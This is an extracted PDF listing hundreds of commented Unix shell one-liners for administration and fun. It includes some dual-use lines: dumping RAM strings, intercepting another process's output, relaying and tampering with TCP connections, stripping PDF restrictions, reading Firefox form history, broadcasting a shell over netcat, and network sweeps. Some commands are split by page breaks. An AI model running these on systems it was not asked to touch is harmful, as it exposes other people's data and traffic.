Sunteți pe pagina 1din 658

All UNIX COMMANDS

# Run the last command as root


sudo !!
# Serve current directory tree at http://$HOSTNAME:8000/
python -m SimpleHTTPServer
# Runs previous command but replacing
^foo^bar
# Rapidly invoke an editor to write a long, complex, or tricky command
ctrl-x e
# Execute a command without saving it in the history
<space>command
# Salvage a borked terminal
reset
# Place the argument of the most recent command on the shell
'ALT+.' or '<ESC> .'
# currently mounted filesystems in nice layout
mount | column -t
# Query yahoo via console over DNS
dig www.yahoo.com
dig www.yahoo.com @8.8.8.8
# Execute a command at a given time
echo "ls -l" | at midnight
# start a tunnel from some machine's port 80 to your local post 2001
ssh -N -L2001:localhost:80 somemachine
# Quick access to the ascii table.
man ascii
# Get your external IP address
curl ifconfig.me
# Runs previous command replacing foo by bar every time that foo appears
!!:gs/foo/bar
# output your microphone to a remote computer's speaker
dd if=/dev/dsp | ssh -c arcfour -C username@host dd of=/dev/dsp
# Mount a temporary ram partition
mount -t tmpfs tmpfs /mnt -o size=1024m
# Mount folder/filesystem through SSH
sshfs name@server:/path/to/folder /path/to/mount/point
# Update twitter via curl
curl -u user:pass -d status="Tweeting from the shell" http://twitter.com/statuses/update.xml
# Download an entire website
wget --random-wait -r -p -e robots=off -U mozilla http://www.example.com
# Compare a remote file with a local file
ssh user@host cat /path/to/remotefile | diff /path/to/localfile -

1 / 658

All UNIX COMMANDS


# type partial command, kill this command, check something you forgot, yank the command,
resume typing.
<ctrl+u> [...] <ctrl+y>
# Clear the terminal screen
ctrl-l
# Jump to a directory, execute a command and jump back to current dir
(cd /tmp && ls)
# A very simple and useful stopwatch
time read (ctrl-d to stop)
# SSH connection through host in the middle
ssh -t reachable_host ssh unreachable_host
# Make 'less' behave like 'tail -f'.
less +F somelogfile
# Watch Star Wars via telnet
telnet towel.blinkenlights.nl
# Shutdown a Windows machine from Linux
net rpc shutdown -I ipAddressOfWindowsPC -U username%password
# Check your unread Gmail from the command line
curl -u username --silent "https://mail.google.com/mail/feed/atom" | perl -ne 'print "\t" if
/<name>/; print "$2\n" if /<(title|name)>(.*)<\/\1>/;'
# Set audible alarm when an IP address comes online
ping -i 60 -a IP_address
# Close shell keeping all subprocess running
disown -a && exit
# Reboot machine when everything is hanging
<alt> + <print screen/sys rq> + <R> - <S> - <E> - <I> - <U> - <B>
# Simulate typing
echo "You can simulate on-screen typing just like in the movies" | pv -qL 10
# List of commands you use most often
history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head
# 32 bits or 64 bits?
getconf LONG_BIT
# Display the top ten running processes - sorted by memory usage
ps aux | sort -nk +4 | tail
# Put a console clock in top right corner
while sleep 1;do tput sc;tput cup 0 $(($(tput cols)-29));date;tput rc;done &
# Push your present working directory to a stack that you can pop later
pushd /tmp
# escape any command aliases
\[command]

2 / 658

All UNIX COMMANDS


# Watch Network Service Activity in Real-time
lsof -i
# Set CDPATH to ease navigation
CDPATH=:..:~:~/projects
# Create a script of the last executed command
echo "!!" > foo.sh
# Display a block of text with AWK
awk '/start_pattern/,/stop_pattern/' file.txt
# diff two unsorted files without creating temporary files
diff <(sort file1) <(sort file2)
# Reuse all parameter of the previous command line
!*
# Sharing file through http 80 port
nc -v -l 80 < file.ext
# Show apps that use internet connection at the moment. (Multi-Language)
lsof -P -i -n
# Easy and fast access to often executed commands that are very long and complex.
some_very_long_and_complex_command # label
# Backticks are evil
echo "The date is: $(date +%D)"
# quickly rename a file
mv filename.{old,new}
# Delete all files in a folder that don't match a certain file extension
rm !(*.foo|*.bar|*.baz)
# save command output to image
ifconfig | convert label:@- ip.png
# python smtp server
python -m smtpd -n -c DebuggingServer localhost:1025
# Kills a process that is locking a file.
fuser -k filename
# Display which distro is installed
cat /etc/issue
# Extract tarball from internet without local saving
wget -qO - "http://www.tarball.com/tarball.gz" | tar zxvf # Show File System Hierarchy
man hier
# Remove duplicate entries in a file without sorting.
awk '!x[$0]++' <file>
# Add Password Protection to a file your editing in vim.
vim -x <FILENAME>

3 / 658

All UNIX COMMANDS


# Find the process you are looking for minus the grepped one
ps aux | grep [p]rocess-name
# Insert the last command without the last argument (bash)
!:# Google Translate
translate(){ wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate?
v=1.0&q=$1&langpair=$2|${3:-en}" | sed 's/.*"translatedText":"\([^"]*\)".*}/\1\n/'; }
# Matrix Style
tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep
--color "[^ ]"
# Copy your SSH public key on a remote machine for passwordless login - the easy way
ssh-copy-id username@hostname
# Rip audio from a video file.
mplayer -ao pcm -vo null -vc dummy -dumpaudio -dumpfile <output-file> <input-file>
# Inserts the results of an autocompletion in the command line
ESC *
# Define a quick calculator function
? () { echo "$*" | bc -l; }
# Stream YouTube URL directly to mplayer.
i="8uyxVmdaJ-w";mplayer -fs $(curl -s "http://www.youtube.com/get_video_info?&video_id=$i" |
echo -e $(sed 's/%/\\x/g;s/.*\(v[0-9]\.lscache.*\)/http:\/\/\1/g') | grep -oP '^[^|,]*')
# A fun thing to do with ram is actually open it up and take a peek. This command will show
you all the string (plain text) values in ram
sudo dd if=/dev/mem | cat | strings
# Print all the lines between 10 and 20 of a file
sed -n '10,20p' <filename>
# intercept stdout/stderr of another process
strace -ff -e trace=write -e write=1,2 -p SOME_PID
# Find Duplicate Files (based on size first, then MD5 hash)
find -not -empty -type f -printf "%s\n" | sort -rn | uniq -d | xargs -I{} -n1 find -type f
-size {}c -print0 | xargs -0 md5sum | sort | uniq -w32 --all-repeated=separate
# Graphical tree of sub-directories
ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/
# Easily search running processes (alias).
alias 'ps?'='ps ax | grep '
# Create a CD/DVD ISO image from disk.
readom dev=/dev/scd0 f=/path/to/image.iso
# Make directory including intermediate directories
mkdir -p a/long/directory/path
# Copy a file using pv and watch its progress
pv sourcefile > destfile
# Monitor progress of a command

4 / 658

/' -e 's/-/|/'

All UNIX COMMANDS


pv access.log | gzip > access.log.gz
# Remove all but one specific file
rm -f !(survivior.txt)
# replace spaces in filenames with underscores
rename 'y/ /_/' *
# Multiple variable assignments from command output in BASH
read day month year <<< $(date +'%d %m %y')
# Create a pdf version of a manpage
man -t manpage | ps2pdf - filename.pdf
# git remove files which have been deleted
git add -u
# Job Control
^Z $bg $disown
# Edit a file on a remote host using vim
vim scp://username@host//path/to/somefile
# Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id
cat ~/.ssh/id_rsa.pub | ssh user@machine "mkdir ~/.ssh; cat >> ~/.ssh/authorized_keys"
# Show apps that use internet connection at the moment. (Multi-Language)
ss -p
# return external ip
curl icanhazip.com
# Record a screencast and convert it to an mpeg
ffmpeg -f x11grab -r 25 -s 800x600 -i :0.0 /tmp/outputFile.mpg
# Graph # of connections for each hosts.
netstat -an | grep ESTABLISHED | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c |
awk '{ printf("%s\t%s\t",$2,$1) ; for (i = 0; i < $1; i++) {printf("*")}; print "" }'
# Send pop-up notifications on Gnome
notify-send ["<title>"] "<body>"
# Monitor the queries being run by MySQL
watch -n 1 mysqladmin --user=<user> --password=<password> processlist
# Generate a random password 30 characters long
strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 30 | tr -d '\n'; echo
# Convert seconds to human-readable format
date -d@1234567890
# mkdir & cd into it as single command
mkdir /home/foo/doc/bar && cd $_
# Display a cool clock on your terminal
watch -t -n1 "date +%T|figlet"
# Open Finder from the current Terminal location
open .

5 / 658

All UNIX COMMANDS


# Mount a .iso file in UNIX/Linux
mount /path/to/file.iso /mnt/cdrom -oloop
# Get the 10 biggest files/folders for the current direcotry
du -s * | sort -n | tail
# Remove a line in a text file. Useful to fix
ssh-keygen -R <the_offending_host>
# Check your unread Gmail from the command line
curl -u username:password --silent "https://mail.google.com/mail/feed/atom" | tr -d '\n' |
awk -F '<entry>' '{for (i=2; i<=NF; i++) {print $i}}' | sed -n "s/<title>\
(.*\)<\/title.*name>\(.*\)<\/name>.*/\2 - \1/p"
# Search commandlinefu.com from the command line using the API
cmdfu(){ curl "http://www.commandlinefu.com/commands/matching/$@/$(echo -n $@ | openssl
base64)/plaintext"; }
# Processor / memory bandwidthd? in GB/s
dd if=/dev/zero of=/dev/null bs=1M count=32768
# Makes the permissions of file2 the same as file1
chmod --reference file1 file2
# Attach screen over ssh
ssh -t remote_host screen -r
# Show numerical values for each of the 256 colors in bash
for code in {0..255}; do echo -e "\e[38;05;${code}m $code: Test"; done
# directly ssh to host B that is only accessible through host A
ssh -t hostA ssh hostB
# Create a persistent connection to a machine
ssh -MNf <user>@<host>
# (Debian/Ubuntu) Discover what package a file belongs to
dpkg -S /usr/bin/ls
# List all bash shortcuts
bind -P
# Rapidly invoke an editor to write a long, complex, or tricky command
fc
# Remove security limitations from PDF documents using ghostscript
gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=OUTPUT.pdf -c .setpdfwrite -f
INPUT.pdf
# Share a terminal screen with others
% screen -r someuser/
# Run a command only when load average is below a certain threshold
echo "rm -rf /unwanted-but-large/folder" | batch
# Download Youtube video with wget!
wget http://www.youtube.com/watch?v=dQw4w9WgXcQ -qO- | sed -n "/fmt_url_map/{s/
[\'\"\|]/\n/g;p}" | sed -n '/^fmt_url_map/,/videoplayback/p' | sed -e :a -e '$q;N;5,$D;ba' |
tr -d '\n' | sed -e 's/\(.*\),\(.\)\{1,3\}/\1/' | wget -i - -O surprise.flv

6 / 658

All UNIX COMMANDS


# Run a file system check on your next boot.
sudo touch /forcefsck
# To print a specific line from a file
sed -n 5p <file>
# List only the directories
ls -d */
# Show a 4-way scrollable process tree with full details.
ps awwfux | less -S
# RTFM function
rtfm() { help $@ || man $@ || $BROWSER "http://www.google.com/search?q=$@"; }
# Broadcast your shell thru ports 5000, 5001, 5002 ...
script -qf | tee >(nc -kl 5000) >(nc -kl 5001) >(nc -kl 5002)
# Edit a google doc with vim
google docs edit --title "To-Do List" --editor vim
# Remove all files previously extracted from a tar(.gz) file.
tar -tf <file.tar.gz> | xargs rm -r
# Draw kernel module dependancy graph.
lsmod | perl -e 'print "digraph \"lsmod\" {";<>;while(<>){@_=split/\s+/; print "\"$_[0]\" ->
\"$_\"\n" for split/,/,$_[3]}print "}"' | dot -Tpng | display # Start COMMAND, and kill it if still running after 5 seconds
timeout 5s COMMAND
# Google text-to-speech in mp3 format
wget -q -U Mozilla -O output.mp3 "http://translate.google.com/translate_tts?ie=UTF8&tl=en&q=hello+world
# What is my public IP-address?
curl ifconfig.me
# Recursively remove all empty directories
find . -type d -empty -delete
# Eavesdrop on your system
diff <(lsof -p 1234) <(sleep 10; lsof -p 1234)
# Binary Clock
watch -n 1 'echo "obase=2;`date +%s`" | bc'
# Search for a <pattern> string inside all files in the current directory
grep -RnisI <pattern> *
# Sort the size usage of a directory tree by gigabytes, kilobytes, megabytes, then bytes.
du -b --max-depth 1 | sort -nr | perl -pe 's{([0-9]+)}{sprintf "%.1f%s", $1>=2**30?
($1/2**30, "G"): $1>=2**20? ($1/2**20, "M"): $1>=2**10? ($1/2**10, "K"): ($1, "")}e'
# Create a quick back-up copy of a file
cp file.txt{,.bak}
# Duplicate installed packages from one machine to the other (RPM-based systems)
ssh root@remote.host "rpm -qa" | xargs yum -y install

7 / 658

All UNIX COMMANDS


# using `!#$' to referance backward-word
cp /work/host/phone/ui/main.cpp !#$:s/host/target
# Backup all MySQL Databases to individual files
for I in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $I | gzip >
"$I.sql.gz"; done
# Port Knocking!
knock <host> 3000 4000 5000 && ssh -p <port> user@host && knock <host> 5000 4000 3000
# Search recursively to find a word or phrase in certain file types, such as C code
find . -name "*.[ch]" -exec grep -i -H "search pharse" {} \;
# Block known dirty hosts from reaching your machine
wget -qO - http://infiltrated.net/blacklisted|awk '!/#|[a-z]/&&/./{print "iptables -A INPUT
-s "$1" -j DROP"}'
# Download all images from a site
wget -r -l1 --no-parent -nH -nd -P/tmp -A".gif,.jpg" http://example.com/images
# Retry the previous command until it exits successfully
until !!; do :; done
# Synchronize date and time with a server over ssh
date --set="$(ssh user@server date)"
# pretend to be busy in office to enjoy a cup of coffee
cat /dev/urandom | hexdump -C | grep "ca fe"
# Use tee to process a pipe with two or more processes
echo "tee can split a pipe in two"|tee >(rev) >(tr ' ' '_')
# Add timestamp to history
export HISTTIMEFORMAT="%F %T "
# which program is this port belongs to ?
lsof -i tcp:80
# Colorized grep in less
grep --color=always | less -R
# Recursively change permissions on files, leave directories alone.
find ./ -type f -exec chmod 644 {} \;
# Bring the word under the cursor on the :ex line in Vim
:<C-R><C-W>
# make directory tree
mkdir -p work/{d1,d2}/{src,bin,bak}

# Find out how much data is waiting to be written to disk


grep ^Dirty /proc/meminfo
# find files in a date range
find . -type f -newermt "2010-01-01" ! -newermt "2010-06-01"
# Control ssh connection
[enter]~?

8 / 658

All UNIX COMMANDS


# run complex remote shell cmds over ssh, without escaping quotes
ssh host -l user $(<cmd.txt)
# A robust, modular log coloriser
ccze
# Show apps that use internet connection at the moment.
lsof -P -i -n | cut -f 1 -d " "| uniq | tail -n +2
# Compare two directory trees.
diff <(cd dir1 && find | sort) <(cd dir2 && find | sort)
# Remind yourself to leave in 15 minutes
leave +15
# check site ssl certificate dates
echo | openssl s_client -connect www.google.com:443 2>/dev/null |openssl x509 -dates -noout
# Given a file path, unplug the USB device on which the file is located (the file must be on
an USB device !)
echo $(sudo lshw -businfo | grep -B 1 -m 1 $(df "/path/to/file" | tail -1 | awk '{print $1}'
| cut -c 6-8) | head -n 1 | awk '{print $1}' | cut -c 5- | tr ":" "-") | sudo tee
/sys/bus/usb/drivers/usb/unbind
# Quick access to ASCII code of a key
showkey -a
# Convert Youtube videos to MP3
youtube-dl -t --extract-audio --audio-format mp3 YOUTUBE_URL_HERE
# ls not pattern
ls !(*.gz)
# Remove a line in a text file. Useful to fix "ssh host key change" warnings
sed -i 8d ~/.ssh/known_hosts
# exit without saving history
kill -9 $$
# Exclude multiple columns using AWK
awk '{$1=$3=""}1' file
# Get the IP of the host your coming from when logged in remotely
echo ${SSH_CLIENT%% *}
# easily find megabyte eating files or directories
alias dush="du -sm *|sort -n|tail"
# Exclude .svn, .git and other VCS junk for a pristine tarball
tar --exclude-vcs -cf src.tar src/
# Create a directory and change into it at the same time
md () { mkdir -p "$@" && cd "$@"; }
# delete a line from your shell history
history -d
# Find files that have been modified on your system in the past 60 minutes
sudo find / -mmin 60 -type f

9 / 658

All UNIX COMMANDS


# Create colorized html file from Vim or Vimdiff
:TOhtml
# GREP a PDF file.
pdftotext [file] - | grep 'YourPattern'
# Remove blank lines from a file using grep and save output to new file
grep . filename > newfilename
# Create a nifty overview of the hardware in your computer
lshw -html > hardware.html
# How to establish a remote Gnu screen session that you can re-connect to
ssh -t user@some.domain.com /usr/bin/screen -xRR
# Copy a MySQL Database to a new Server via SSH with one command
mysqldump --add-drop-table --extended-insert --force --log-error=error.log -uUSER -pPASS
OLD_DB_NAME | ssh -C user@newhost "mysql -uUSER -pPASS NEW_DB_NAME"
# Convert PDF to JPG
for file in `ls *.pdf`; do convert -verbose -colorspace RGB -resize 800 -interlace none
-density 300 -quality 80 $file `echo $file | sed 's/\.pdf$/\.jpg/'`; done
# Prettify an XML file
tidy -xml -i -m [file]
# notify yourself when a long-running command which has ALREADY STARTED is finished
<ctrl+z> fg; notify_me
# Alias HEAD for automatic smart output
alias head='head -n $((${LINES:-`tput lines 2>/dev/null||echo -n 12`} - 2))'
# Get your outgoing IP address
dig +short myip.opendns.com @resolver1.opendns.com
# analyze traffic remotely over ssh w/ wireshark
ssh root@server.com 'tshark -f "port !22" -w -' | wireshark -k -i # prints line numbers
nl
# Manually Pause/Unpause Firefox Process with POSIX-Signals
killall -STOP -m firefox
# Save your sessions in vim to resume later
:mksession! <filename>
# Intercept, monitor and manipulate a TCP connection.
mkfifo /tmp/fifo; cat /tmp/fifo | nc -l -p 1234 | tee -a to.log | nc machine port | tee -a
from.log > /tmp/fifo
# Display a list of committers sorted by the frequency of commits
svn log -q|grep "|"|awk "{print \$3}"|sort|uniq -c|sort -nr
# Fast, built-in pipe-based data sink
<COMMAND> |:
# Bind a key with a command
bind -x '"\C-l":ls -l'

10 / 658

All UNIX COMMANDS


# Python version 3: Serve current directory tree at http://$HOSTNAME:8000/
python -m http.server
# Take screenshot through SSH
DISPLAY=:0.0 import -window root /tmp/shot.png
# Lists all listening ports together with the PID of the associated process
lsof -Pan -i tcp -i udp
# Opens vi/vim at pattern in file
vi +/pattern [file]
# Colorful man
apt-get install most && update-alternatives --set pager /usr/bin/most
# copy working directory and compress it on-the-fly while showing progress
tar -cf - . | pv -s $(du -sb . | awk '{print $1}') | gzip > out.tgz
# Pipe stdout and stderr, etc., to separate commands
some_command > >(/bin/cmd_for_stdout) 2> >(/bin/cmd_for_stderr)
# convert unixtime to human-readable
date -d @1234567890
# Schedule a script or command in x num hours, silently run in the background even if logged
out
( ( sleep 2h; your-command your-args ) & )

# Go to parent directory of filename edited in last command


cd !$:h
# Diff on two variables
diff <(echo "$a") <(echo "$b")
# Draw a Sierpinski triangle
perl -e 'print "P1\n256 256\n", map {$_&($_>>8)?1:0} (0..0xffff)' | display
# List all files opened by a particular command
lsof -c dhcpd
# Gets a random Futurama quote from /.
curl -Is slashdot.org | egrep '^X-(F|B|L)' | cut -d \- -f 2
# Use lynx to run repeating website actions
lynx -accept_all_cookies -cmd_script=/your/keystroke-file
# recursive search and replace old with new string, inside files
$ grep -rl oldstring . |xargs sed -i -e 's/oldstring/newstring/'
# shut of the screen.
xset dpms force standby
# Use file(1) to view device information
file -s /dev/sd*
# Find usb device
diff <(lsusb) <(sleep 3s && lsusb)

11 / 658

All UNIX COMMANDS


# find all file larger than 500M
find / -type f -size +500M
# prevent accidents while using wildcards
rm *.txt <TAB> <TAB>
# Random Number Between 1 And X
echo $[RANDOM%X+1]
# April Fools' Day Prank
PROMPT_COMMAND='if [ $RANDOM -le 3200 ]; then printf "\0337\033[%d;%dH\033[4%dm \033[m\0338"
$((RANDOM%LINES+1)) $((RANDOM%COLUMNS+1)) $((RANDOM%8)); fi'
# Save a file you edited in vim without the needed permissions (no echo)
:w !sudo tee > /dev/null %
# View the newest xkcd comic.
xkcd(){ wget -qO- http://xkcd.com/|tee >(feh $(grep -Po '(?<=")http://imgs[^/]+/comics/[^"]
+\.\w{3}'))|grep -Po '(?<=(\w{3})" title=").*(?=" alt)';}
# Press Any Key to Continue
read -sn 1 -p "Press any key to continue..."
# backup all your commandlinefu.com favourites to a plaintext file
clfavs(){ URL="http://www.commandlinefu.com";wget -O - --save-cookies c --post-data
"username=$1&password=$2&submit=Let+me+in" $URL/users/signin;for i in `seq 0 25 $3`;do wget
-O - --load-cookies c $URL/commands/favourites/plaintext/$i >>$4;done;rm -f c;}
# throttle bandwidth with cstream
tar -cj /backup | cstream -t 777k | ssh host 'tar -xj -C /backup'
# Run a long job and notify me when it's finished
./my-really-long-job.sh && notify-send "Job finished"
# runs a bash script in debugging mode
bash -x ./post_to_commandlinefu.sh
# find geographical location of an ip address
lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|grep address|egrep 'city|state|
country'|awk '{print $3,$4,$5,$6,$7,$8}'|sed 's\ip address flag \\'|sed 's\My\\'
# read manpage of a unix command as pdf in preview (Os X)
man -t UNIX_COMMAND | open -f -a preview
# Instead of writing a multiline if/then/else/fi construct you can do that by one line
[[ test_condition ]] && if_true_do_this || otherwise_do_that
# Speed up launch of firefox
find ~ -name '*.sqlite' -exec sqlite3 '{}' 'VACUUM;' \;
# List the number and type of active network connections
netstat -ant | awk '{print $NF}' | grep -v '[a-z]' | sort | uniq -c
# format txt as table not joining empty columns
column -tns: /etc/passwd
# Tell local Debian machine to install packages used by remote Debian machine
ssh remotehost 'dpkg --get-selections' | dpkg --set-selections && dselect install

12 / 658

All UNIX COMMANDS


# Shell recorder with replay
script -t /tmp/mylog.out 2>/tmp/mylog.time; <do your work>; <CTRL-D>; scriptreplay
/tmp/mylog.time /tmp/mylog.out
# A child process which survives the parent's death (for sure)
( command & )
# Bind a key with a command
bind '"\C-l":"ls -l\n"'
# Insert
<ESC> .

the

last

argument

of

the previous command

# live ssh network throughput test


yes | pv | ssh $host "cat > /dev/null"
# Monitor bandwidth by pid
nethogs -p eth0
# send echo to socket network
echo "foo" > /dev/tcp/192.168.1.2/25
# Perform a branching conditional
true && { echo success;} || { echo failed; }
# Resume scp of a big file
rsync --partial --progress --rsh=ssh

$file_source $user@$host:$destination_file

# Create a single-use TCP (or UDP) proxy


nc -l -p 2000 -c "nc example.org 3000"
# Use tee + process substitution to split STDOUT to multiple commands
some_command | tee >(command1) >(command2) >(command3) ... | command4
# Convert seconds into minutes and seconds
bc <<< 'obase=60;299'
# GRUB2: set Super Mario as startup tune
echo "GRUB_INIT_TUNE=\"1000 334 1 334 1 0 1 334 1 0 1 261 1 334 1 0 1 392 2 0 4 196 2\"" |
sudo tee -a /etc/default/grub > /dev/null && sudo update-grub
# exclude a column with cut
cut -f5 --complement
# Close a hanging ssh session
~.
# Recover a deleted file
grep -a -B 25 -A 100 'some string in the file' /dev/sda1 > results.txt
# List files with quotes around each filename
ls -Q
# intersection between two files
grep -Fx -f file1 file2
# Makes you look busy
alias busy='my_file=$(find /usr/include -type f | sort -R | head -n 1); my_len=$(wc -l
$my_file | awk "{print $1}"); let "r = $RANDOM % $my_len" 2>/dev/null; vim +$r $my_file'

13 / 658

All UNIX COMMANDS


# Listen to BBC Radio from the command line.
bbcradio() { local s PS3="Select a station: ";select s in 1 1x 2 3 4 5 6 7 "Asian Network
an" "Nations & Local lcl";do break;done;s=($s);mplayer -playlist
"http://www.bbc.co.uk/radio/listen/live/r"${s[@]: -1}".asx";}
# Get your external IP address
curl ip.appspot.com
# Find files that were modified by a given command
touch /tmp/file ; $EXECUTECOMMAND ; find /path -newer /tmp/file
# find files containing text
grep -lir "some text" *
# Make anything more awesome
command | figlet
# Nicely display permissions in octal format with filename
stat -c '%A %a %n' *
# Brute force discover
sudo zcat /var/log/auth.log.*.gz | awk '/Failed password/&&!/for invalid user/{a[$9]+
+}/Failed password for invalid user/{a["*" $11]++}END{for (i in a) printf "%6s\t%s\n", a[i],
i|"sort -n"}'
# prevent large files from being cached in memory (backups!)
nocache <I/O-heavy-command>
# Create strong, but easy to remember password
read -s pass; echo $pass | md5sum | base64 | cut -c -16
# Generate an XKCD #936 style 4 word password
shuf -n4 /usr/share/dict/words | tr -d '\n'
# Repoint an existing symlink to a new location
ln -nsf <TARGET> <LINK>
# Find broken symlinks
find -L . -type l
# Diff remote webpages using wget
diff <(wget -q -O - URL1) <(wget -q -O - URL2)
# List alive hosts in specific subnet
nmap -sP 192.168.1.0/24
# processes per user counter
ps hax -o user | sort | uniq -c
# View all date formats, Quick Reference Help Alias
alias dateh='date --help|sed -n "/^ *%%/,/^ *%Z/p"|while read l;do F=${l/% */}; date +%
$F:"|'"'"'${F//%n/ }'"'"'|${l#* }";done|sed "s/\ *|\ */|/g" |column -s "|" -t'
# output your microphone to a remote computer's speaker
arecord -f dat | ssh -C user@host aplay -f dat
# Duplicate several drives concurrently
dd if=/dev/sda | tee >(dd of=/dev/sdb) | dd of=/dev/sdc
# Make sure a script is run in a terminal.

14 / 658

All UNIX COMMANDS


[ -t 0 ] || exit 1
# Create an audio test CD of sine waves from 1 to 99 Hz
(echo CD_DA; for f in {01..99}; do echo "$f Hz">&2; sox -nt cdda -r44100 -c2 $f.cdda synth
30 sine $f; echo TRACK AUDIO; echo FILE \"$f.cdda\" 0; done) > cdrdao.toc && cdrdao write
cdrdao.toc && rm ??.cdda cdrdao.toc
# Execute a command with a timeout
timeout 10 sleep 11
# use vim to get colorful diff output
svn diff | view # A fun thing to do with ram is actually open it up and take a peek. This command will show
you all the string (plain text) values in ram
sudo strings /dev/mem
# Quickly (soft-)reboot skipping hardware checks
/sbin/kexec -l /boot/$KERNEL --append="$KERNELPARAMTERS" --initrd=/boot/$INITRD; sync;
/sbin/kexec -e
# pipe output of a command to your clipboard
some command|xsel --clipboard
# Quickly graph a list of numbers
gnuplot -persist <(echo "plot '<(sort -n listOfNumbers.txt)' with lines")
# When feeling down, this command helps
sl
# Switch 2 characters on a command line.
ctrl-t

# Silently ensures that a FS is mounted on the given mount point (checks if it's OK,
otherwise unmount, create dir and mount)
(mountpoint -q "/media/mpdr1" && df /media/mpdr1/* > /dev/null 2>&1) || ((sudo umount
"/media/mpdr1" > /dev/null 2>&1 || true) && (sudo mkdir "/media/mpdr1" > /dev/null 2>&1 ||
true) && sudo mount "/dev/sdd1" "/media/mpdr1")
# Check if system is 32bit or 64bit
getconf LONG_BIT
# Limit the cpu usage of a process
sudo cpulimit -p pid -l 50
# send a circular
wall <<< "Broadcast This"
# Single use vnc-over-ssh connection
ssh -f -L 5900:localhost:5900 your.ssh.server "x11vnc -safer -localhost -nopw -once -display
:0"; vinagre localhost:5900
# The BOFH Excuse Server
telnet towel.blinkenlights.nl 666
# I finally found out how to use notify-send with at or cron
echo "export DISPLAY=:0; export XAUTHORITY=~/.Xauthority; notify-send test" | at now+1minute

15 / 658

All UNIX COMMANDS


# See udev at work
udevadm monitor
# your terminal sings
echo {1..199}" bottles of beer on the wall, cold bottle of beer, take one down, pass it
around, one less bottle of beer on the wall,, " | espeak -v english -s 140
# convert filenames in current directory to lowercase
rename 'y/A-Z/a-z/' *
# Show current working directory of a process
pwdx pid
# Base conversions with bc
echo "obase=2; 27" | bc -l
# ls -hog --> a more compact ls -l
ls -hog
# convert uppercase files to lowercase files
rename 'y/A-Z/a-z/' *
# Analyse an Apache access log for the most common IP addresses
tail -10000 access_log | awk '{print $1}' | sort | uniq -c | sort -n | tail
# Notepad in a browser (type this in the URL bar)
data:text/html, <html contenteditable>
# Encrypted archive with openssl and tar
tar --create --file - --posix --gzip -- <dir> | openssl enc -e -aes256 -out <file>
# dmesg with colored human-readable dates
dmesg -T|sed -e 's|\(^.*'`date +%Y`']\)\(.*\)|\x1b[0;34m\1\x1b[0m - \2|g'
# Annotate tail -f with timestamps
tail -f file | while read; do echo "$(date +%T.%N) $REPLY"; done
# Stamp a text line on top of the pdf pages.
echo "This text gets stamped on the top of the pdf pages." | enscript -B -f Courier-Bold16
-o- | ps2pdf - | pdftk input.pdf stamp - output output.pdf
# Print diagram of user/groups
awk 'BEGIN{FS=":"; print "digraph{"}{split($4, a, ","); for (i in a) printf "\"%s\"
[shape=box]\n\"%s\" -> \"%s\"\n", $1, a[i], $1}END{print "}"}' /etc/group|display
# bypass any aliases and functions for the command
\foo
# stderr in color
mycommand 2> >(while read line; do echo -e "\e[01;31m$line\e[0m"; done)
# VI config to save files with +x when a shebang is found on line 1
au BufWritePost * if getline(1) =~ "^#!" | if getline(1) =~ "/bin/" | silent !chmod +x
<afile> | endif | endif
# Delete all empty lines from a file with vim
:g/^$/d

16 / 658

All UNIX COMMANDS


# perl one-liner to get the current week number
date +%V
# Matrix Style
echo -e "\e[32m"; while :; do for i in {1..16}; do r="$(($RANDOM % 2))"; if [[ $(($RANDOM %
5)) == 1 ]]; then if [[ $(($RANDOM % 4)) == 1 ]]; then v+="\e[1m $r
"; else v+="\e[2m $r
"; fi; else v+="
"; fi; done; echo -e "$v"; v=""; done
# Remove color codes (special characters) with sed
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[m|K]//g"
# Have an ssh session open forever
autossh -M50000 -t server.example.com 'screen -raAd mysession'
# Recursively compare two directories and output their differences on a readable format
diff -urp /originaldirectory /modifieddirectory
# List recorded formular fields of Firefox
cd ~/.mozilla/firefox/ && sqlite3 `cat profiles.ini | grep Path | awk -F= '{print
$2}'`/formhistory.sqlite "select * from moz_formhistory" && cd - > /dev/null
# Put readline into vi mode
set -o vi
# Cut out a piece of film from a file. Choose an arbitrary length and starting time.
ffmpeg -vcodec copy -acodec copy -i orginalfile -ss 00:01:30 -t 0:0:20 newfile
# Start a command on only one CPU core
taskset -c 0 your_command
# Get all the keyboard shortcuts in screen
^A ?
# List of commands you use most often
history | awk '{print $2}' | sort | uniq -c | sort -rn | head
# sniff network traffic on a given interface and displays the IP addresses of the machines
communicating with the current host (one IP per line)
sudo tcpdump -i wlan0 -n ip | awk '{ print gensub(/(.*)\..*/,"\\1","g",$3), $4, gensub(/
(.*)\..*/,"\\1","g",$5) }' | awk -F " > " '{print $1"\n"$2}'
# Display current time in requested time zones.
zdump Japan America/New_York
# convert single digit to double digits
for i in ?.ogg; do mv $i 0$i; done
# Create a file server, listening in port 7000
while true; do nc -l 7000 | tar -xvf -; done
# cat a bunch of small files with file indication
grep . *
# Stop Flash from tracking everything you do.
for i in ~/.adobe ~/.macromedia ; do ( rm $i/ -rf ; ln -s /dev/null $i ) ; done
# dd with progress bar and statistics
sudo dd if=/dev/sdc bs=4096 | pv -s 2G | sudo dd bs=4096 of=~/USB_BLACK_BACKUP.IMG
# Monitor open connections for httpd including listen, count and sort it per IP

17 / 658

All UNIX COMMANDS


watch "netstat -plan|grep :80|awk {'print \$5'} | cut -d: -f 1 | sort | uniq -c | sort -nk
1"
# Remote screenshot
DISPLAY=":0.0" import -window root screenshot.png
# Define words and phrases with google.
define(){ local y="$@";curl -sA"Opera" "http://www.google.com/search?q=define:${y// /+}"|
grep -Po '(?<=<li>)[^<]+'|nl|perl -MHTML::Entities -pe 'decode_entities($_)' 2>/dev/null;}
# Harder, Faster, Stronger SSH clients
ssh -4 -C -c blowfish-cbc
# Clean up poorly named TV shows.
